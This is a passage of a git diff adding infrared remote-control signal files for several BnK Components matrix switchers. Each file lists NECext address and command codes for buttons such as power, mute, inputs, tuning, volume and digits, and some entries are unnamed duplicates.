+# +name: TIUNE_+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 1C 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 4B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 4B 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 4B 00 00 00 +# +name: D-_IN +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 6E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 8E 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: C6 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir new file mode 100644 index 000000000..3f8fa0377 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir new file mode 100644 index 000000000..8a9f57f83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 02 00 00 00 +# +name: MUTER +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 1C 00 00 00 +# +name: CURSORLEFT +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 2F 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 3F 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 4A 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 7D 00 00 00 +# +name: AMFM +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 8E 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 9F 06 00 00 +command: A2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir new file mode 100644 index 000000000..f93146031 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir new file mode 100644 index 000000000..be9fcd3a8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 2F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AC 35 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: AC 35 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir new file mode 100644 index 000000000..9c7ddbe47 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir new file mode 100644 index 000000000..b44324fec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 39 00 00 00 +# +name: 8 